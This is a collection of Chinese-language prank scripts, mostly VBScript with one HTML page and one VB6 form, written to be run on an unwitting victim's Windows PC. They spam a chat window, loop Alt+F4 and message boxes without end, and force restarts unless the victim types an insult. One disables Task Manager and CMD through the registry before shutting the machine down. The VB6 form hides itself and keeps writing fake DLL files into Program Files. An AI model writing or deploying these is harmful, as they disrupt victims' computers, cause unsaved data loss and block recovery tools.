On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit

while(1)
msgbox "哈哈 你被耍了！"
loop

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎么才來，說~是不是不關(guān)心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("小強(qiáng)很生氣，后果很嚴(yán)重哦。")
WScript.Echo("嘿嘿！你也會(huì)很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點(diǎn)上50下哦，不過會(huì)給你驚喜滴")
WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦")
WScript.Echo("還剩48下，快點(diǎn)，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點(diǎn)點(diǎn)！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停?。?！慢點(diǎn)，我有話要說")
WScript.Echo("還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴")
WScript.Echo("還剩11下，以后就看不到我拉。555555")
WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！")
WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉？")
WScript.Echo("還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點(diǎn)負(fù)意！")
WScript.Echo("還剩6下。對。你就點(diǎn)吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要?jiǎng)h除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義?。?！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機(jī)會(huì)。")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)機(jī)，不信，試下···"" ",0 ,true
dim a
do while(a > "我是豬")
a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬""　","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

set ws=createobject("wscript.shell")
call shutdown(1)
do while a>"我是豬"
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù)，快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的點(diǎn)過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山里有個(gè)廟.",4096+64
MsgBox"廟里有個(gè)老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了！數(shù)綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最后問個(gè)問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統(tǒng)將在" 60-i "秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true
dim a
do while(a > "寶寶，我是天下第一大傻B")
a = inputbox ("寶寶，我是天下第一大傻B,就不關(guān)機(jī)，快撒，說 ""寶寶，我是天下第一大傻B""　","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"

html>
head>
meta http-equiv="Content-Type" content="text/html; charset=gb2312">
title>網(wǎng)頁特效|Linkweb.cn/Js|---很惡心的常見整人效果/title>
/head>
body>
a href="" onMouseover="alert('為什么把鼠標(biāo)放到這里?');
alert('我不是說過不可以這樣嗎？');
alert('你把我的話當(dāng)什么了？');
alert('你知道錯(cuò)了嗎？');
alert('什么？你居然....');
alert('居然還沒意識(shí)到自己做錯(cuò)了？');
alert('那好，你要為此付出代價(jià)!');
alert('我要你在這里點(diǎn)足一千下......');
alert('什么？你開始有點(diǎn)后悔了？');
alert('何必呢？');
alert('你當(dāng)初干什么去了？');
alert('不原諒你！');
alert('好從現(xiàn)在開始再點(diǎn)995下......');
alert('你的手開始累了嗎?');
alert('什么？你已經(jīng)沒力氣了？');
alert('你一直在求我原諒你啊！');
alert('看來你是真的知道錯(cuò)了!');
alert('下次你還會(huì)這么做嗎？');
alert('真的不會(huì)了？');
alert('那好，今天就放你一馬！');
alert('寫封信給我說聲對不起!');
alert('你能這么做我很高興!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=對不起,下次不敢了!';">不許把鼠標(biāo)移到這里/a>

嘻試吧爽噢。。

/body>
/html>

Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量，其中“count”為靜態(tài)變量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個(gè)目錄文件下
c = "C:\Program Files\"
'生成文件的內(nèi)容
nr = "哈哈，被黑的感覺的不錯(cuò)吧"
files = FreeFile
'如果a等于a那么就執(zhí)行
If a = a Then
'count不斷的加1，以便產(chǎn)生不同的文件名
count = count + 1
'產(chǎn)生文件名及文件句柄，并用count作為產(chǎn)生不同的文件名。
Open c "system" count ".dll" For Append As #files
'向文件寫內(nèi)容
Write #files, nr
'清除文件句柄，這里很重要，如果不清除，將產(chǎn)生打開文件太多的錯(cuò)誤提示
Close #files
End If
End Sub